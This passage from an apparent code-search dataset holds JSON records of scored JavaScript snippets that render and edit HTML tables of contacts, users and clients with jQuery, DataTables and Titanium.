width=\"20\"><path d=\"M0 0h24v24H0V0z\" fill=\"none\"/><path d=\"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6v12zM8 9h8v10H8V9zm7.5-5l-1-1h-5l-1 1H5v2h14V4z\"/></svg></button></a></li>`;\r\n }\r\n } else {\r\n table += `<p class=\"nocontacts\"> No Entries Found</p>`;\r\n }\r\n table += \"</ul>\";\r\n\r\n selected.innerHTML = table;\r\n}", "title": "" }, { "docid": "c717055cfa5142cb425ded510ce12b78", "score": "0.6461344", "text": "function editRow(obj)\n{\n var row = obj.parentNode.parentNode.rowIndex;\n table=$(\"#myTable\").rows[row];\n $(\"#firstName\").value = table.cells[3].innerHTML;\n $(\"#lastName\").value = table.cells[4].innerHTML;\n $(\"#class\").value = table.cells[5].innerHTML;\n $(\"#dob\").value = table.cells[6].innerHTML;\n $(\"#fatherName\").value = table.cells[7].innerHTML;\n $(\"#motherName\").value = table.cells[8].innerHTML;\n $(\"#email\").value = table.cells[9].innerHTML;\n $(\"#phoneNumber\").value = table.cells[10].innerHTML;\n $(\"#altMail\").value = table.cells[11].innerHTML;\n $(\"#altPhoneNumber\").value = table.cells[12].innerHTML;\n $(\"#address1\").value = table.cells[13].innerHTML;\n $(\"#address2\").value = table.cells[14].innerHTML;\n $(\"#district\").value = table.cells[15].innerHTML;\n $(\"#state\").value = table.cells[16].innerHTML;\n $(\"#pinCode\").value = table.cells[17].innerHTML;\n $(\"#country\").value=table.cells[18].innerHTML;\n $(\"#pAddress1\").value = table.cells[19].innerHTML;\n $(\"#pAddress2\").value = table.cells[20].innerHTML;\n $(\"#pDistrict\").value = table.cells[21].innerHTML;\n $(\"#pState\").value = table.cells[22].innerHTML;\n $(\"#pPinCode\").value = table.cells[23].innerHTML;\n $(\"#pCountry\").value=table.cells[24].innerHTML;\n var index = obj.parentNode.parentNode.rowIndex;\n var table = $(\"#myTable\");\n table.deleteRow(index);\n \n}", "title": "" }, { "docid": "b295cdb54dffb16f903d56b53f202768", "score": "0.645338", "text": "function manageRow(data) {\n var rows = '';\n $.each(data, function (key, value) {\n rows = rows + '<tr>';\n rows = rows + '<td>' + value.name + '</td>';\n rows = rows + '<td>' + value.work + '</td>';\n rows = rows + '<td>Rp.' + value.salary + ',-</td>';\n rows = rows + '<td data-id=\"' + value.id + '\">';\n rows = rows + '<button data-toggle=\"modal\" data-target=\"#edit-user\" class=\"btn btn-primary btn-sm edit-user\"> <span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span> Edit</button> ';\n rows = rows + '<button class=\"btn btn-danger btn-sm remove-user\"><span class=\"glyphicon glyphicon-remove\" aria-hidden=\"true\"></span> Hapus</button>';\n rows = rows + '</td>';\n rows = rows + '</tr>';\n });\n\n $(\"tbody\").html(rows);\n }", "title": "" }, { "docid": "8dc9d7d510ce3d764efb794148c11a30", "score": "0.64507", "text": "function showTable(middle) {\n\n if (middle != \"middle\") {\n var tablehead = document.getElementById('itshead');\n var tr1 = document.createElement(\"tr\");\n tr1.innerHTML = `<th scope=col>#</th>` +\n '<th scope=col>First Name</th>' +\n '<th scope=col>Middle Name</th>' +\n '<th scope=col>Last Name</th>' +\n '<th scope=col>Email</th>' +\n '<th scope=col>Phone Number</th>' +\n '<th scope=col>Role</th>' +\n '<th scope=col>Address</th>' +\n '<th scope=col>Actions</th>';\n tablehead.append(tr1);\n }\n\n var table = document.getElementById('data');\n \n \n\n userData.forEach(function (x, index) {\n\n \n var tr = document.createElement('tr');\n tr.innerHTML = `<td><input id=id type=text value=${x.id} readOnly></td>` +\n `<td><input id=firstname type=text value=${x.firstname} readOnly></td>` +\n `<td><input id=middlename type=text value=${x.middlename} readOnly></td>` +\n `<td><input id=lastname type=text value=${x.lastname} readOnly></td>` +\n `<td><input id=email type=text value=${x.email} readOnly></td>` +\n `<td><input id=phone type=text value=${x.phone} readOnly></td>` +\n `<td><input id=role type=text value=${x.role} readOnly></td>` +\n `<td><input id=address type=text value=${x.address} readOnly></td>` +\n '<td><input id=edit type=button value=Edit onclick=addColumn(this) !disabled></td>' +\n '<td><input type=button value=Delete onclick=deleteRow(this)></td>';\n table.appendChild(tr);\n\n });\n}", "title": "" }, { "docid": "d1d8f06c0fa1a537c7525d03baf861c4", "score": "0.64379615", "text": "function manageRow(data) {\n var\trows = '';\n $.each( data, function( key, value ) {\n rows = rows + '<tr>';\n rows = rows + '<td>'+value.id+'</td>';\n rows = rows + '<td>'+value.name+'</td>';\n rows = rows + '<td>'+value.description+'</td>';\n rows = rows + '<td>'+value.price+'</td>';\n rows = rows + '<td>'+value.url+'</td>';\n rows = rows + '<td data-id=\"'+value.id+'\">';\n rows = rows + '<button data-toggle=\"modal\" data-target=\"#edit-item\" class=\"btn btn-primary edit-item\">Edit</button> ';\n rows = rows + '<button class=\"btn btn-danger remove-item\">Delete</button>';\n rows = rows + '</td>';\n rows = rows + '</tr>';\n });\n\n $(\"tbody\").html(rows);\n }", "title": "" }, { "docid": "25f36dd8524a9542b72569a4695b9241", "score": "0.6431545", "text": "function savePerson() {\n var table = document.getElementById(\"table\");\n var tBody = document.getElementById(\"tbody\");\n var rowCount = table.rows.length;\n var colCount = table.rows[0].cells.length;\n\n var newPerson = {\n nrCrt: table.rows[rowCount - 1].cells[0].children[0].value,\n firstName: table.rows[rowCount - 1].cells[1].children[0].value,\n lastName: table.rows[rowCount - 1].cells[2].children[0].value,\n age: table.rows[rowCount - 1].cells[3].children[0].value,\n dateOfEmployment: table.rows[rowCount - 1].cells[4].children[0].value,\n department: table.rows[rowCount - 1].cells[5].children[0].value\n }\n\n\t/*add newPerson to the people array*/\n //people.push(newPerson);\n\n /*delete the editing row*/\n cancelRow(table.rows.length - 1);\n\n var tableBody = document.getElementById(\"tbody\");\n createRow(newPerson, tableBody);\n setExtraButtons(tableBody.rows[tableBody.rows.length - 1]);\n table.appendChild(tableBody);\n}", "title": "" }, { "docid": "3e300b11ba43d74d038eb6ae80068dc9", "score": "0.6424463", "text": "function saveData(btn) {\n var row = btn.parentNode.parentNode;\n\n let rIndex = row.rowIndex;\n \n let newID = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[0].value;\n\n let newFirstName = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[1].value;\n let newMiddleName = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[2].value;\n let newLastName = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[3].value;\n let newEmail = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[4].value;\n let newPhone = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[5].value;\n let newRole = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[6].value;\n let newAddress = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[7].value;\n newInfo.push(newID, newFirstName, newMiddleName, newLastName, newEmail, newPhone, newRole, newAddress);\n\n userData[rIndex - 1].id = Number(newID);\n userData[rIndex - 1].firstname = newFirstName;\n userData[rIndex - 1].middlename = newMiddleName;\n userData[rIndex - 1].lastname = newLastName;\n userData[rIndex - 1].address = newAddress;\n userData[rIndex - 1].email = newEmail;\n userData[rIndex - 1].phone = newPhone;\n userData[rIndex - 1].role = newRole;\n originalInfo = newInfo;\n\n let r = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\").length;\n let r2 = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\");\n let newlength = r - 4;\n for (let i = 0; i < newlength; i++) {\n document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[i].value = newInfo[i];\n document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[i].readOnly = !(document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[i].readOnly);\n\n }\n let xx = rIndex + 1;\n\n // changing back the edit button to enable\n $(\"#edit\").prop('disabled', function (xx, v) {\n return !v;\n });\n $(\"itshead\").empty();\n $(\"#data\").empty();\n showTable(\"middle\");\n\n\n}", "title": "" }, { "docid": "67ab9d4fe13d6e5f76476c1b6cad8ae1", "score": "0.64141536", "text": "function obtener_contactos(){\n var opc = \"obtener_contactos\";\n $('.preloader').show();\n regenerar_tabla();\n $.post(\"dist/fw/contactos.php\",{opc:opc},function(data){\n if(data){\n var html = '';\n for (var i = 0; i < data.length; i++){\n html += '<tr>';\n html += '<td>' + $.trim(data[i].ClaveContacto) + '</td>';\n html += '<td>' + $.trim(data[i].RazonSocial) + '</td>';\n html += '<td>' + $.trim(data[i].RFC) + '</td>';\n html += '<td>' + $.trim(data[i].Nombre) + '</td>';\n html += '<td>' + $.trim(data[i].Apellidos) + '</td>';\n html += '<td>' + $.trim(data[i].Email) + '</td>';\n html += '<td>' + $.trim(data[i].Celular) + '</td>';\n html += '<td>' + $.trim(data[i].Tel) + '</td>';\n html += '<td>' + $.trim(data[i].Ext) + '</td>';\n html += '<td>' + $.trim(data[i].Credito) + '</td>';\n html += '<td class=\"btnEditar\" id=\"edit_'+data[i].ClaveContacto+'\"><span class=\"font-icon-wrapper lnr-pencil\" ></span></td>';\n html += '</tr>'; \n }\n $('#table_contactos tbody').html(html);\n $('#table_contactos').DataTable({\n \"paging\": true,\n \"lengthChange\": true,\n \"searching\": true,\n \"ordering\": true,\n \"info\": true,\n \"autoWidth\": true\n });\n }\n $('.preloader').hide();\n },'json');\n}", "title": "" }, { "docid": "a1204026d191f097af4a4300fe2da45f", "score": "0.6413271", "text": "function loadContacts() {\n// CLEAR THE TABLE\n clearContactTable();\n// GRAB THE HTML ELEMENT INTO WHICH WE WILL LOAD THE DATA\n var cTable = $('#contentRows');\n// ITERATE THROUGH EACH OF THE JSON OBJECTS IN THE TEST DATA AND RENDER THEM \n// INTO THE TABLE\n\n $.ajax({\n url: 'contacts'\n }).success(function (data, status) {\n $.each(data, function (index, contact) {\n cTable.append($('<tr>')\n .append($('<td>')\n .append($('<a>')\n .attr({'data-contact-id': contact.contactId, 'data-toggle': 'modal', 'data-target': '#detailsModal'})\n .text(contact.firstName + ' ' + contact.lastName)\n )\n )\n .append($('<td>').text(contact.streetAddress))\n .append($('<td>')\n .append($('<a>')\n .attr({'data-contact-id': contact.contactId, 'data-toggle': 'modal', 'data-target': '#editModal'})\n .text('Edit')\n )\n )\n .append($('<td>')\n .append($('<a>')\n .attr({\n 'onClick': 'deleteContact(' + contact.contactId + ')'\n })\n .text('Delete')\n )\n )\n );\n });\n\n });\n}", "title": "" }, { "docid": "7dfc6d47c33d74cd5ed883c7553f8239", "score": "0.6383664", "text": "function loadRow(id) {\n\tUI.isEditMode = true;\n\tUI.editId = id;\n\tconst clients = Store.getClients();\n\tvar client = clients.find(c => c.id === id);\n\tdocument.querySelector('#name').value = client.name;\n\tdocument.querySelector('#lastname').value = client.lastname;\n\tdocument.querySelector('#date').value = client.date;\n\tdocument.querySelector('#number').value = client.number;\n\tdocument.querySelector('#email').value = client.email;\n\tdocument.querySelector('#address').value = client.address;\n document.getElementById(\"lblEdit\").innerHTML = \"Contact is being edited...\";\n document.querySelector('#submit').value = 'Apply changes';\n}", "title": "" }, { "docid": "1895a8f9d6c4d6428907216874ef1697", "score": "0.637641", "text": "function setContactTable( itcb ) {\n var\n COPY_FIELDS = [\n 'content',\n 'roleString',\n 'title',\n 'talk',\n 'firstname',\n 'lastname',\n 'nameaffix',\n 'basecontactType',\n 'institutionType',\n 'institutionName',\n 'expertise',\n 'expertiseText',\n 'workDescription',\n 'officialNo',\n 'nonStandardOfficialNo',\n 'glnNumber',\n 'zsrNumber',\n 'kNumber'\n ],\n contactsTable = [],\n current, i, j,\n tableRow;\n\n //\n for ( i = 0; i < selectedContacts.length; i++ ) {\n\n current = selectedContacts[i];\n\n // formatted values\n tableRow = {\n card: contactToCard( current ),\n cardLine: contactToCardLine( current ),\n address: ''\n };\n\n // copy all properties same as basic contacts table\n for ( j = 0; j < COPY_FIELDS.length; j++ ) {\n if ( current[ COPY_FIELDS[j] ] ) {\n tableRow[ COPY_FIELDS[j] ] = current[ COPY_FIELDS[j] ];\n } else {\n tableRow[ COPY_FIELDS[j] ] = '';\n }\n }\n\n // translate some enums\n if ( tableRow.basecontactType ) {\n tableRow.basecontactType = Y.doccirrus.schemaloader.translateEnumValue( '-de', tableRow.basecontactType, basecontactTypes, tableRow.basecontactType);\n }\n\n if ( tableRow.institutionType ) {\n tableRow.institutionType = Y.doccirrus.schemaloader.translateEnumValue( '-de', tableRow.institutionType, institutionTypes, tableRow.institutionType);\n }\n\n if ( tableRow.expertise ) {\n tableRow.expertise = Y.doccirrus.schemaloader.translateEnumValue( '-de', tableRow.expertise, expertiseTypes, tableRow.expertise);\n }\n\n // format the address\n if ( Array.isArray( current.addresses ) && current.addresses[0] ) {\n tableRow.address = Y.dcforms.mapper.genericformmappers.getAddressAsString( current.addresses[0] );\n }\n\n // mapping is to show the other contacts receiving the serial letter, do not add card for current contact\n if ( current._id !== contact._id ) {\n contactsTable.push( tableRow );\n }\n }\n\n activityDetailsVM.template.map( { contactsTable: contactsTable }, true, itcb );\n }", "title": "" }, { "docid": "f2a8e2cdf3a9024786cd800524d2de45", "score": "0.6375705", "text": "function showResultOnTable() {\n var registeredEmailIndex = 0;\n var checkedCheckbox = formOperation.checkBoxes();\n var checkedRadioButtons = formOperation.gender();\n var casteCatagoryName = formOperation.caste();\n name = $(\"#name\").val();\n email = $(\"#email\").val();\n password = $(\"#password\").val();\n address = $(\"#address\").val();\n dob = $(\"#dateOfBirth\").val();\n emailArray[registeredEmailIndex] = email;\n registeredEmailIndex++;\n selectedCountryStateCityDetails();\n\n // data.push({\n // name: name,\n // email: email,\n // password: password,\n // address: address,\n // country: selectedCountry,\n // state: selectedState,\n // city: SelectedCity,\n // dob: dob,\n // gender: checkedRadioButtons,\n // caste: casteCatagoryName,\n // subject: checkedCheckbox\n // });\n\n // var tableBody = $(\"#tableData\");\n // var tableRow = document.createElement(\"tr\");\n // tableRow.setAttribute(\"id\", name);\n\n // tableRow.addEventListener('dblclick', function (e, ) {\n // editRow(e.target.parentNode.id);\n // });\n\n // var tableData = document.createElement(\"td\");\n // var tableDataValue = document.createTextNode(name);\n\n // tableData.append(tableDataValue);\n // tableRow.append(tableData);\n\n // //tableRow.html= \"<td class='editableColumns editName'>\" + name + \"</td>\");\n\n // tableBody.append(tableRow);\n var tableData = '';\n\n tableData += '<tr>';\n tableData += '<td class=\"editableColumns\">' + name + '</td>';\n tableData += '<td>' + email + '</td>';\n tableData += '<td class=\"editableColumns\">' + password + '</td>';\n tableData += '<td class=\"editableColumns\">' + address + '</td>';\n tableData += '<td class=\"editableColumns\">' + selectedCountry + '</td>';\n tableData += '<td class=\"editableColumns\">' + selectedState + '</td>';\n tableData += '<td class=\"editableColumns\">' + SelectedCity + '</td>';\n tableData += '<td class=\"editableColumns\">' + dob + '</td>';\n tableData += '<td class=\"editableColumns\">' + checkedRadioButtons + '</td>';\n tableData += '<td class=\"editableColumns\">' + casteCatagoryName + '</td>';\n tableData += '<td class=\"editableColumns\">' + checkedCheckbox + '</td>';\n tableData += '<td><input type=\"button\" value=\"Edit\" id=\"editButton\" class=\"btn btn-primary\">';\n tableData += '<input type=\"button\" value=\"Delete\" id=\"deleteButton\" class=\"btn btn-danger\">';\n tableData += '<input type=\"button\" value=\"Save\" class=\"btn btn-success\" id=\"saveButton\" style=\"display:none\">';\n tableData += '<input type=\"button\" value=\"Cancel\" class=\"btn btn-info\" id=\"cancelButton\" style=\"display:none\"></td>';\n tableData += '</tr>';\n $(\"#tableData\").append(tableData);\n inlineTableEdit();\n }", "title": "" }, { "docid": "7751fd9e04689f3e4498851c9ddb563a", "score": "0.6315831", "text": "function appendEntry(db, i, filterBy) {\n var fullDelName = ` ${db[i].firstName}-${db[i].lastName}`\n $('#database tbody').append(`\n <tr>\n <td class=\"tile_div\"> \n <div class=\"center\"> \n <button type=\"button\" class=\"btn btn-success btn-sm\" data-toggle=\"modal\" data-target=\"#persProfileModal\" id=\"${db[i].id}\" onclick=\"showPerson(event, ${JSON.stringify(db[i]).split('\"').join(\"&quot;\")})\">\n <img src=\"img/person-lines-fill.svg\">\n </button> \n\n <button type=\"button\" class=\"btn btn-primary btn-sm\" data-toggle=\"modal\" data-target=\"#editPersModal\" id=\"${db[i].id}\" onclick=\"editPerson(event, ${JSON.stringify(db[i]).split('\"').join(\"&quot;\")})\"> \n <img src=\"css/pen.svg\">\n </button>\n \n <button type=\"button\" class=\"btn btn-danger btn-sm\" data-toggle=\"modal\" data-target=\"#deletePersModal\" id=\"${fullDelName}\" onclick=\"deletePerson(event, ${db[i].id})\">\n <img src=\"img/trash-fill.svg\" >\n </button>\n </div>\n\n \n\n \n </td>\n <td><b> ${db[i].firstName}</b></td>\n <td><b>${db[i].lastName}</b> \n <td class=${(filterBy == \"jobTitle\") ? \"\" : \"hideCell\"}>${db[i].jobTitle}</td>\n <td class=\"hideCell\">${db[i].email}</td>\n <td class=${(filterBy == \"department\") ? \"\" : \"hideCell\"}>${db[i].department}</td>\n <td class=${(filterBy == \"location\") ? \"\" : \"hideCell\"}>${db[i].location}</td>\n \n \n </tr>\n `)\n}", "title": "" }, { "docid": "0b6571d8ad14330ff31c70400589c61b", "score": "0.6302579", "text": "function renderTable(data) {\n table = $(\n '<table class=\"table table-bordered table-striped' +\n ' kb-editor-table\" style=\"width: 100% !important;\">'\n );\n container.append(table);\n\n table = table.DataTable({\n data: data,\n order: [[2, 'asc']],\n dom: '<\"top col-sm-8 controls\"l><\"top col-sm-4\"f>rt<\"bottom\"ip><\"clear\">',\n columns: [\n {\n orderable: false,\n data: function (row) {\n return '<i class=\"fa fa-square-o\"></i>';\n },\n },\n { title: 'Name', data: 'name' },\n { title: 'Compound', data: 'id' },\n { title: 'Concentration', data: 'concentration', className: 'editable' },\n { title: 'Max Flux', data: 'maxFlux', className: 'editable' },\n { title: 'Min Flux', data: 'minFlux', className: 'editable' },\n ],\n });\n\n // add controls\n const controls = container.find('.controls');\n\n //controls.append(undoBtn); // fixme!\n controls.append(saveAsBtn);\n controls.append(saveBtn);\n controls.append(addBtn);\n controls.append(rmBtn);\n\n addBtn.on('click', cpdModal);\n saveBtn.on('click', () => {\n saveData(getTableData(), wsName, objName);\n });\n saveAsBtn.on('click', saveModal);\n rmBtn.on('click', function () {\n // get all selected data\n const data = getTableData('.row-select');\n\n // edit table\n const op = { op: 'rm', data: data };\n editTable(op);\n modeling.notice(container, 'Removed ' + data.length + ' compounds');\n\n $(this).addClass('hide');\n addBtn.removeClass('hide');\n });\n\n undoBtn.on('click', () => {\n console.log('undo!');\n const op = _editHistory.popOp();\n });\n\n // event for clicking on table row\n table.on('click', 'tbody tr td:first-child', function () {\n $(this).parent().toggleClass('row-select');\n\n const count = table.rows('.row-select').data().length;\n\n if (count > 0) {\n addBtn.addClass('hide');\n rmBtn.html(\n '<i class=\"fa fa-minus\"></i> ' + 'Remove ' + count + ' compounds'\n );\n rmBtn.removeClass('hide');\n } else {\n rmBtn.addClass('hide');\n addBtn.removeClass('hide');\n }\n });\n\n // event for clickingon editable cells\n table.on('click', '.editable', function (e) {\n $(this).attr('contentEditable', true);\n $(this).addClass('editing-focus');\n $(this).focus();\n });\n\n table.on('blur', 'td.editable', function () {\n let before = table.cell(this).data(),\n after = $(this).text();\n\n // fixme: add better validation and error handling\n after = parseFloat(after);\n if (before === after) return;\n\n // set data in datable memory\n table.cell(this).data(after).draw();\n\n // save in history\n const op = { op: 'modify', before: before, after: after };\n editTable(op);\n });\n\n // emit blur on enter as well\n table.on('keydown', 'td.editable', function (e) {\n if (e.keyCode == 13) {\n e.preventDefault();\n $(this).blur();\n }\n });\n }", "title": "" }, { "docid": "52677d1a59f368f88c07c672c803ebe7", "score": "0.6291636", "text": "function manageRow(data) {\n var rows = '';\n $.each( data, function( key, value ) {\n rows = rows + '<tr>';\n rows = rows + '<td>'+(key + 1)+'</td>';\n rows = rows + '<td>'+value.id+'</td>';\n rows = rows + '<td>'+value.kode_plant+'</td>';\n rows = rows + '<td>'+value.nama_plant+'</td>';\n rows = rows + '<td>'+value.code_storage_location+'</td>';\n rows = rows + '<td>'+value.nama_storage_location+'</td>';\n rows = rows + '<td>'+value.code_shipping_point+'</td>';\n rows = rows + '<td>'+value.nama_shipping_point+'</td>';\n rows = rows + '<td>'+value.code_propinsi+'</td>';\n rows = rows + '<td>';\n rows = rows + '<a href=\"plantsloc/edit?id='+value.id+'\" class=\"btn btn-primary btn-md\">Edit</a>'\n rows = rows + '<button class=\"btn btn-danger remove-item\">Delete</button>';\n rows = rows + '</td>';\n rows = rows + '</tr>';\n });\n\n $(\"#plantsloc\").html(rows);\n }", "title": "" }, { "docid": "cc7e1bf544ef088966baddd70103ac00", "score": "0.6288703", "text": "function userdata(json) {\n if (json != '') {\n // console.log(\"Admin\", json);\n let rows = json.map((ob, index) => {\n // let date = ob.jc_created_date.split(\" \");\n let actionHtml = `\n <a data-toggle=\"modal\" data-target=\"#myModal2\" attr_id=\"${ob.id}\" onclick=\"getDetails('${ob.id}')\"> <i class=\"fa fa-edit\" style=\"font-size:10px;color:blue\" title=\"Edit\"> </i> </a>\n <a onclick=\"deleteRecord('${ob.id}')\"> <i class=\"fa fa-trash text-danger\" style=\"font-size:10px\" aria-hidden=\"true\" title=\"Delete\"></i>\n `;\n let row = [(index + 1), ob.f_name + \" \" + ob.l_name, ob.email, ob.password, ob.role_status, actionHtml];\n \n // let row = [(index + 1), ob.internal_order_id, date[0], ob.title, ob.quantity, ob.remark, ob.sp_remark, actionHtml];\n return row;\n })\n // console.log(rows);\n table = $('#dataTableuser').DataTable();\n table.destroy();\n $('#dataTableuser').DataTable({\n data: rows,\n });\n }\n }", "title": "" }, { "docid": "6c7554d20c4730852fa5554740adc597", "score": "0.62819886", "text": "function edit_table(e) {\n e.preventDefault();\n\n switch(e.explicitOriginalTarget.id) {\n case \"add_column\":\n window.dataset.value.forEach(function(row){\n row.push(row[0]);\n });\n refresh_table();\n break;\n\n case \"add_row\":\n window.dataset.value.push(window.dataset.value[0].slice());\n refresh_table();\n break;\n\n case \"add_row_headers\":\n window.dataset.value.push(window.dataset.value[0].slice().fill(1));\n refresh_table();\n break;\n }\n}", "title": "" }, { "docid": "0738b20105f911d3386db5f5e44a1082", "score": "0.62745273", "text": "function fillContactTable(contactList, status) {\n // clear the previous list\n clearContactTable();\n\n // store our tbody in a variable \n var summaryTable = $('#contentRows');\n\n $.each(contactList, function (index, person) {\n summaryTable.append($('<tr>')\n .append($('<td>')\n .append($('<a>')\n .attr({\n 'data-contact-id': person.contactId,\n 'data-toggle': 'modal',\n 'data-target': '#detailsModal'\n })\n .text((index) + ' - ' + person.firstName + ' ' + person.lastName)))\n .append($('<td>').text(person.company))\n .append($('<td>')\n .append($('<a>')\n .attr({\n 'data-contact-id': person.contactId,\n 'data-toggle': 'modal',\n 'data-target': '#editModal'\n })\n .text('Edit')))\n .append($('<td>')\n .append($('<a>')\n .attr({\n 'onClick': 'deleteContact(' + person.contactId + ')'\n })\n .text('Delete'))));\n });\n}", "title": "" }, { "docid": "505edd863089556b1a02adc67f4cdcb4", "score": "0.62487113", "text": "function onRowEdit(e){ \n selectedData = tableList.row(e.closest(\"tr\")).data();\n console.log(selectedData) \n showIDElement(true)\n for(fld in selectedData){\n $(\"#fld-\"+fld).val(selectedData[fld])\n }\n $(\"mode\").text(\"Update\")\n mode = \"edit\" \n $(\"#save-modal\")\n .modal('show'); \n }", "title": "" }, { "docid": "4b3cafe1556ec76b893582355d7555e4", "score": "0.6243534", "text": "function _setup_row_for_client_contact_section(db) {\n\t\t\ttry {\n\t\t\t\tvar rows = db.execute('SELECT * from my_' + _type + ' WHERE id=?', _selected_job_id);\n\t\t\t\tif ((rows.getRowCount() > 0) && (rows.isValidRow())) {\n\t\t\t\t\tif ((rows.fieldByName('client_id') != undefined) && (rows.fieldByName('client_id') != null)) {\n\t\t\t\t\t\t_client_id = rows.fieldByName('client_id');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows = db.execute('SELECT a.*,my_client_contact.position,my_client_contact.first_name,my_client_contact.last_name FROM my_' + _type + '_client_contact as a' + ' left join my_client_contact on (my_client_contact.id = a.client_contact_id)' + ' WHERE a.' + _type + '_id=? and a.status_code=1 and my_client_contact.status_code=1', _selected_job_id);\n\t\t\t\tvar client_contact_count = rows.getRowCount();\n\t\t\t\tvar i = 0;\n\t\t\t\tif (client_contact_count <= 1) {\n\t\t\t\t\tif (rows.getRowCount() > 0) {\n\t\t\t\t\t\twhile (rows.isValidRow()) {\n\t\t\t\t\t\t\tvar row = Ti.UI.createTableViewRow({\n\t\t\t\t\t\t\t\tfilter_class : 'client_contact',\n\t\t\t\t\t\t\t\tclassName : 'client_contact_' + i,\n\t\t\t\t\t\t\t\theight : 'auto',\n\t\t\t\t\t\t\t\thasChild : true,\n\t\t\t\t\t\t\t\tobject_id : rows.fieldByName('client_contact_id'),\n\t\t\t\t\t\t\t\tjob_client_contact_id : rows.fieldByName('id')\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\tvar edit_btn = Ti.UI.createButton({\n\t\t\t\t\t\t\t\tname : 'view_btn',\n\t\t\t\t\t\t\t\tbackgroundImage : self.get_file_path('image', 'BUTT_grn_off.png'),\n\t\t\t\t\t\t\t\tcolor : '#fff',\n\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\tfontSize : _header_view_font_size - 2,\n\t\t\t\t\t\t\t\t\tfontWeight : 'bold'\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\ttitle : 'View',\n\t\t\t\t\t\t\t\ttextAlign : 'center',\n\t\t\t\t\t\t\t\tstyle : Titanium.UI.iPhone.SystemButtonStyle.BORDERED,\n\t\t\t\t\t\t\t\tleft : 10,\n\t\t\t\t\t\t\t\twidth : _header_view_button_width - 5,\n\t\t\t\t\t\t\t\theight : _header_view_button_height\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\tif ((rows.fieldByName('position') != null) && (self.trim(rows.fieldByName('position')) != '')) {\n\t\t\t\t\t\t\t\tedit_btn.top = 5;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\trow.add(edit_btn);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ((rows.fieldByName('position') != null) && (self.trim(rows.fieldByName('position')) != '')) {\n\t\t\t\t\t\t\t\tvar title_label = Ti.UI.createLabel({\n\t\t\t\t\t\t\t\t\ttop : 5,\n\t\t\t\t\t\t\t\t\tleft : 10 + _header_view_button_width,\n\t\t\t\t\t\t\t\t\twidth : self.screen_width - 100,\n\t\t\t\t\t\t\t\t\ttext : rows.fieldByName('first_name') + ' ' + rows.fieldByName('last_name'),\n\t\t\t\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : self.normal_font_size,\n\t\t\t\t\t\t\t\t\t\tfontWeight : self.font_weight\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(title_label);\n\t\t\t\t\t\t\t\tvar position_label = Ti.UI.createLabel({\n\t\t\t\t\t\t\t\t\ttop : 25 + 5,\n\t\t\t\t\t\t\t\t\tleft : 10,\n\t\t\t\t\t\t\t\t\twidth : self.screen_width - 100,\n\t\t\t\t\t\t\t\t\ttext : '[' + rows.fieldByName('position') + ']',\n\t\t\t\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : self.small_font_size\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(position_label);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttitle_label = Ti.UI.createLabel({\n\t\t\t\t\t\t\t\t\tleft : 10 + _header_view_button_width,\n\t\t\t\t\t\t\t\t\twidth : self.screen_width - 100,\n\t\t\t\t\t\t\t\t\ttext : rows.fieldByName('first_name') + ' ' + rows.fieldByName('last_name'),\n\t\t\t\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : self.normal_font_size,\n\t\t\t\t\t\t\t\t\t\tfontWeight : self.font_weight\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(title_label);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tself.data[_section_no].add(row);\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\trows.next();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\trow = Ti.UI.createTableViewRow({\n\t\t\t\t\t\tfilter_class : 'client_contact',\n\t\t\t\t\t\tclassName : 'client_contact_' + 100,\n\t\t\t\t\t\theight : 'auto',\n\t\t\t\t\t\thasChild : true,\n\t\t\t\t\t\twidth : 180,\n\t\t\t\t\t\tleft : 10,\n\t\t\t\t\t\ttitle : 'Client Contacts'\n\t\t\t\t\t});\n\t\t\t\t\tvar client_contact_label = Ti.UI.createLabel({\n\t\t\t\t\t\tright : 5,\n\t\t\t\t\t\tbackgroundColor : self.table_view_row_number_label_background_color,\n\t\t\t\t\t\tcolor : '#fff',\n\t\t\t\t\t\twidth : 30,\n\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\ttextAlign : 'center',\n\t\t\t\t\t\ttext : client_contact_count,\n\t\t\t\t\t\tborderRadius : 